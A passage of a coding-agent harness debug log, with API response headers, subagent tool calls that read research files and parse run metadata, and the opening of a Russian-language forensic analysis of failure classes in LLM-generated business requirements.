\"no-cache\",\n[2026-09-29T07:45:04.677Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:04.686Z] [STDOUT]     \"cf-ray\": \"a4295db21dba29ad-FRA\",\n[2026-09-29T07:45:04.691Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:04.696Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:04.704Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:04.710Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:04.713Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:02 GMT\",\n[2026-09-29T07:45:04.721Z] [STDOUT]     \"request-id\": \"req_011CfXMj4W5cTKZteH4RsNHw\",\n[2026-09-29T07:45:04.724Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:04.728Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:04.733Z] [STDOUT]     traceresponse: \"00-3d45e87d604c55192c30e2bb8c91c345-dc4e0dc34d1a8450-01\",\n[2026-09-29T07:45:04.737Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:04.741Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:04.750Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:04.767Z] [STDOUT]   },\n[2026-09-29T07:45:04.789Z] [STDOUT]   durationMs: 885,\n[2026-09-29T07:45:04.803Z] [STDOUT] }\n[2026-09-29T07:45:04.817Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:04.822Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:02 GMT\",\n[2026-09-29T07:45:04.834Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:04.849Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:04.858Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:04.872Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:04.885Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:04.903Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:04.930Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:04.939Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:04.963Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:04.984Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:05.004Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:05.018Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:05.034Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:05.038Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:05.041Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:05.044Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:05.051Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:05.056Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:05.063Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:05.066Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:05.071Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:05.080Z] [STDOUT]   \"request-id\": \"req_011CfXMj4W5cTKZteH4RsNHw\",\n[2026-09-29T07:45:05.086Z] [STDOUT]   \"traceresponse\": \"00-3d45e87d604c55192c30e2bb8c91c345-dc4e0dc34d1a8450-01\",\n[2026-09-29T07:45:05.100Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:05.119Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:05.127Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:05.135Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:05.142Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:05.151Z] [STDOUT]   \"cf-ray\": \"a4295db21dba29ad-FRA\",\n[2026-09-29T07:45:05.173Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:05.180Z] [STDOUT] [log_9a53e7] response parsed {\n[2026-09-29T07:45:05.195Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:05.206Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:05.212Z] [STDOUT]   body: X {\n[2026-09-29T07:45:05.219Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:05.222Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:05.226Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:05.238Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:05.245Z] [STDOUT]     },\n[2026-09-29T07:45:05.254Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:05.258Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:05.267Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:05.278Z] [STDOUT]   },\n[2026-09-29T07:45:05.285Z] [STDOUT]   durationMs: 936,\n[2026-09-29T07:45:05.292Z] [STDOUT] }\n[2026-09-29T07:45:05.295Z] [INFO] {\n[2026-09-29T07:45:05.295Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:45:05.295Z] [INFO]   \"subtype\": \"task_started\",\n[2026-09-29T07:45:05.295Z] [INFO]   \"task_id\": \"bpv2ozv5r\",\n[2026-09-29T07:45:05.295Z] [INFO]   \"tool_use_id\": \"toolu_01J9PL7c78pXAfjfWrqEMcei\",\n[2026-09-29T07:45:05.295Z] [INFO]   \"description\": \"Read run forensics analysis\",\n[2026-09-29T07:45:05.295Z] [INFO]   \"is_backgrounded\": false,\n[2026-09-29T07:45:05.295Z] [INFO]   \"task_type\": \"local_bash\",\n[2026-09-29T07:45:05.295Z] [INFO]   \"uuid\": \"9c09d85b-338e-4c2b-b071-984ca48c4e12\",\n[2026-09-29T07:45:05.295Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:45:05.295Z] [INFO] }\n[2026-09-29T07:45:05.302Z] [INFO] {\n[2026-09-29T07:45:05.302Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:05.302Z] [INFO]   \"message\": {\n[2026-09-29T07:45:05.302Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:05.302Z] [INFO]     \"id\": \"msg_011CfXMj5LSMD2w9vg9oA5uC\",\n[2026-09-29T07:45:05.302Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:05.302Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:05.302Z] [INFO]     \"content\": [\n[2026-09-29T07:45:05.302Z] [INFO]       {\n[2026-09-29T07:45:05.302Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:45:05.302Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:45:05.302Z] [INFO]         \"signature\": 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\"standard\",\n[2026-09-29T07:45:05.302Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:05.302Z] [INFO]     },\n[2026-09-29T07:45:05.302Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:05.302Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:05.302Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:05.302Z] [INFO]   },\n[2026-09-29T07:45:05.302Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:05.302Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:05.302Z] [INFO]   \"uuid\": \"b62ed1e2-be91-4460-91f3-630e4ffb6e6d\",\n[2026-09-29T07:45:05.302Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:03.788Z\",\n[2026-09-29T07:45:05.302Z] [INFO]   \"request_id\": \"req_011CfXMj4W5cTKZteH4RsNHw\",\n[2026-09-29T07:45:05.302Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:05.302Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:05.302Z] [INFO] }\n[2026-09-29T07:45:05.309Z] [INFO] {\n[2026-09-29T07:45:05.309Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:05.309Z] [INFO]   \"message\": {\n[2026-09-29T07:45:05.309Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:05.309Z] [INFO]     \"id\": \"msg_011CfXMj5LSMD2w9vg9oA5uC\",\n[2026-09-29T07:45:05.309Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:05.309Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:05.309Z] [INFO]     \"content\": [\n[2026-09-29T07:45:05.309Z] [INFO]       {\n[2026-09-29T07:45:05.309Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:45:05.309Z] [INFO]         \"id\": \"toolu_01DXvjL1beywyhMBvb8bEokq\",\n[2026-09-29T07:45:05.309Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:45:05.309Z] [INFO]         \"input\": {\n[2026-09-29T07:45:05.309Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/research/ba-requirements && sed -n '20,400p' 2026-09-10-gigacode-environment-facts.md\",\n[2026-09-29T07:45:05.309Z] [INFO]           \"description\": \"Read GigaCode environment facts\"\n[2026-09-29T07:45:05.309Z] [INFO]         },\n[2026-09-29T07:45:05.309Z] [INFO]         \"caller\": {\n[2026-09-29T07:45:05.309Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:45:05.309Z] [INFO]         }\n[2026-09-29T07:45:05.309Z] [INFO]       }\n[2026-09-29T07:45:05.309Z] [INFO]     ],\n[2026-09-29T07:45:05.309Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:05.309Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:05.309Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:05.309Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:05.309Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:05.309Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:05.309Z] [INFO]       \"cache_creation_input_tokens\": 11376,\n[2026-09-29T07:45:05.309Z] [INFO]       \"cache_read_input_tokens\": 18433,\n[2026-09-29T07:45:05.309Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:05.309Z] [INFO]         \"ephemeral_5m_input_tokens\": 11376,\n[2026-09-29T07:45:05.309Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:45:05.309Z] [INFO]       },\n[2026-09-29T07:45:05.309Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:45:05.309Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:45:05.309Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:05.309Z] [INFO]     },\n[2026-09-29T07:45:05.309Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:05.309Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:05.309Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:05.309Z] [INFO]   },\n[2026-09-29T07:45:05.309Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:05.309Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:05.309Z] [INFO]   \"uuid\": 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{\n[2026-09-29T07:45:05.320Z] [INFO]     \"total_tokens\": 30131,\n[2026-09-29T07:45:05.320Z] [INFO]     \"tool_uses\": 9,\n[2026-09-29T07:45:05.320Z] [INFO]     \"duration_ms\": 34977\n[2026-09-29T07:45:05.320Z] [INFO]   },\n[2026-09-29T07:45:05.320Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:45:05.320Z] [INFO]   \"uuid\": \"3cc3b642-2f05-4a6b-998e-088e51ba5712\",\n[2026-09-29T07:45:05.320Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:45:05.320Z] [INFO] }\n[2026-09-29T07:45:05.330Z] [INFO] {\n[2026-09-29T07:45:05.330Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:05.330Z] [INFO]   \"message\": {\n[2026-09-29T07:45:05.330Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:05.330Z] [INFO]     \"id\": \"msg_011CfXMj1XjrpJBAQfbXezPQ\",\n[2026-09-29T07:45:05.330Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:05.330Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:05.330Z] [INFO]     \"content\": [\n[2026-09-29T07:45:05.330Z] [INFO]       {\n[2026-09-29T07:45:05.330Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:45:05.330Z] [INFO]         \"id\": \"toolu_01GoabRAjszwBBKqBmXLAo1p\",\n[2026-09-29T07:45:05.330Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:45:05.330Z] [INFO]         \"input\": {\n[2026-09-29T07:45:05.330Z] [INFO]           \"command\": \"cd /tmp/mango_ba_prompts && python3 - <<'EOF'\\nimport yaml,glob,collections\\nrows=[]\\nfor f in sorted(glob.glob('runs/2026/RUN-*/metadata.yaml')):\\n    d=yaml.safe_load(open(f))\\n    rows.append(d)\\n    print(d.get('run_id'),d.get('date'),d.get('run_type'),d.get('status'),'|',d.get('model'),'|',str(d.get('author'))[:50],'|',d.get('process'))\\nc=collections.Counter\\nprint(c(str(r.get('run_type')) for r in rows))\\nprint(c(str(r.get('status')) for r in rows))\\nprint(c(str(r.get('model')) for r in rows))\\nprint(min(str(r['date']) for r in rows), max(str(r['date']) for r in rows))\\nprint(c(k for r in rows for k in r.keys()))\\nEOF\",\n[2026-09-29T07:45:05.330Z] [INFO]           \"description\": \"Parse all run metadata\"\n[2026-09-29T07:45:05.330Z] [INFO]         },\n[2026-09-29T07:45:05.330Z] [INFO]         \"caller\": {\n[2026-09-29T07:45:05.330Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:45:05.330Z] [INFO]         }\n[2026-09-29T07:45:05.330Z] [INFO]       }\n[2026-09-29T07:45:05.330Z] [INFO]     ],\n[2026-09-29T07:45:05.330Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:05.330Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:05.330Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:05.330Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:05.330Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:05.330Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:05.330Z] [INFO]       \"cache_creation_input_tokens\": 159,\n[2026-09-29T07:45:05.330Z] [INFO]       \"cache_read_input_tokens\": 43315,\n[2026-09-29T07:45:05.330Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:05.330Z] [INFO]         \"ephemeral_5m_input_tokens\": 159,\n[2026-09-29T07:45:05.330Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:45:05.330Z] [INFO]       },\n[2026-09-29T07:45:05.330Z] [INFO]       \"output_tokens\": 16,\n[2026-09-29T07:45:05.330Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:45:05.330Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:05.330Z] [INFO]     },\n[2026-09-29T07:45:05.330Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:05.330Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:05.330Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:05.330Z] [INFO]   },\n[2026-09-29T07:45:05.330Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:05.330Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:05.330Z] [INFO]   \"uuid\": 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    \"total_tokens\": 43851,\n[2026-09-29T07:45:05.337Z] [INFO]     \"tool_uses\": 11,\n[2026-09-29T07:45:05.337Z] [INFO]     \"duration_ms\": 42044\n[2026-09-29T07:45:05.337Z] [INFO]   },\n[2026-09-29T07:45:05.337Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:45:05.337Z] [INFO]   \"uuid\": \"ac59eb20-fa04-4458-99e3-286898f0acf7\",\n[2026-09-29T07:45:05.337Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:45:05.337Z] [INFO] }\n[2026-09-29T07:45:05.357Z] [INFO] {\n[2026-09-29T07:45:05.357Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:45:05.357Z] [INFO]   \"subtype\": \"task_notification\",\n[2026-09-29T07:45:05.357Z] [INFO]   \"task_id\": \"bpv2ozv5r\",\n[2026-09-29T07:45:05.357Z] [INFO]   \"tool_use_id\": \"toolu_01J9PL7c78pXAfjfWrqEMcei\",\n[2026-09-29T07:45:05.357Z] [INFO]   \"status\": \"completed\",\n[2026-09-29T07:45:05.357Z] [INFO]   \"output_file\": \"\",\n[2026-09-29T07:45:05.357Z] [INFO]   \"summary\": \"Read run forensics analysis\",\n[2026-09-29T07:45:05.357Z] [INFO]   \"uuid\": \"fc72ad99-5625-467d-9447-c0069a374ce8\",\n[2026-09-29T07:45:05.357Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:45:05.357Z] [INFO] }\n[2026-09-29T07:45:05.390Z] [INFO] {\n[2026-09-29T07:45:05.390Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:05.390Z] [INFO]   \"message\": {\n[2026-09-29T07:45:05.390Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:05.390Z] [INFO]     \"content\": [\n[2026-09-29T07:45:05.390Z] [INFO]       {\n[2026-09-29T07:45:05.390Z] [INFO]         \"tool_use_id\": \"toolu_01J9PL7c78pXAfjfWrqEMcei\",\n[2026-09-29T07:45:05.390Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:05.390Z] [INFO]         \"content\": \"---\\nstatus: accepted\\nversion: 0.2\\nupdated: 2026-09-24\\ntemperature: 0.1\\ntype: analysis\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/605\\\"\\nscope: mango-only\\nbased_on: \\\"https://github.com/G-Ivan-A/mango_ba_prompts/tree/8cbf82aa73129ec5747af07f790aaf438b0fb6e9/runs\\\"\\nrelated_artifacts:\\n---\\n\\n# \u0424\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u0441\u0442\u0440\u043e\u0433\u0438\u0439 \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n\\n## \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\\n\\n\u041a\u043e\u0440\u043f\u0443\u0441 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043d\u0435 \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u0443\u044e \u043e\u0448\u0438\u0431\u043a\u0443 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438, \u0430 \u0447\u0435\u0442\u044b\u0440\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445\\n\u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u0430: \u043d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f \u0434\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f; \u0442\u0435\u043a\u0443\u0449\u0435\u0435\\n\u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435, \u0440\u0435\u0448\u0435\u043d\u0438\u0435, UI \u0438\u043b\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u043c\\n\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435\u043c; \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438;\\n\u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u0432\u0435\u0440\u0441\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0438 \u0442\u043e\u0447\u043d\u043e\u0433\u043e\\n\u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430. \u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442. \u041d\u0443\u0436\u0435\u043d\\n\u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0441 \u0440\u0430\u0437\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430\u043c\u0438 \u0434\u043b\u044f FR, UC \u0438 NFR, \u0440\u0435\u0435\u0441\u0442\u0440\u043e\u043c\\n\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432, \u043c\u0430\u0442\u0440\u0438\u0446\u0435\u0439 `as-is \u2192 delta`, \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0439 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u043e\u0439 \u0438 \u0442\u0440\u0435\u043c\u044f \u0433\u0435\u0439\u0442\u0430\u043c\u0438:\\n\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c, \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c.\\n\\n\u041f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0435 \u043d\u0438\u0436\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0443\u0441\u0438\u043b\u0438\u0432\u0430\u044e\u0442, \u043d\u043e \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u044e\u0442 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439\\n[RFC \u0443\u0440\u043e\u0432\u043d\u044f \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438 \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md).\\n\u0418\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u043f\u0440\u0438\u043d\u044f\u0442\u044b \u043a\u0430\u043a \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u043b\u044f Source-\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u0432\\n[issue #609](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/609),\\n\u043d\u043e \u0441\u0430\u043c\u0438 \u043f\u043e \u0441\u0435\u0431\u0435 \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c \u043c\u0435\u043d\u044f\u0442\u044c runtime-\u043f\u0430\u043a\u0435\u0442. \u041f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0439\\nissue \u043f\u0443\u0442\u044c `docs/contracts/` \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d: \u043e\u043d\\n\u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u043c `AGENTS.md`; Analysis \u0440\u0430\u0437\u043c\u0435\u0449\u0451\u043d \u0432 \u043a\u043e\u043d\u0442\u0443\u0440\u0435 \u0438\u043d\u0438\u0446\u0438\u0430\u0442\u0438\u0432\u044b.\\n\\n## \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 \u043e\u0445\u0432\u0430\u0442\\n\\n\u0421\u043d\u0438\u043c\u043e\u043a \u043d\u0430 2026-09-23 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0432\u0441\u0435 67 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 `RUN-0001`\u2026`RUN-0067` legacy-\\n\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043d\u0430 commit\\n[`8cbf82a`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/8cbf82aa73129ec5747af07f790aaf438b0fb6e9/runs),\\n27 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 JSON-\u044d\u043a\u0441\u043f\u043e\u0440\u0442\u043e\u0432, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0441\u044b\u043b\u0430\u044e\u0442\u0441\u044f metadata \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0438\\n\u0442\u0440\u0438 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f issue #605. \u0414\u0432\u0430 JSON-\u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0434\u0438\u0430\u043b\u043e\u0433\u0438 BCREQ-1104 \u0438\\nBCREQ-1106; \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0435 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u0430\u043a \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438.\\n\u0412\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0447\u0438\u0442\u0430\u043b\u0438\u0441\u044c \u0432\u043e 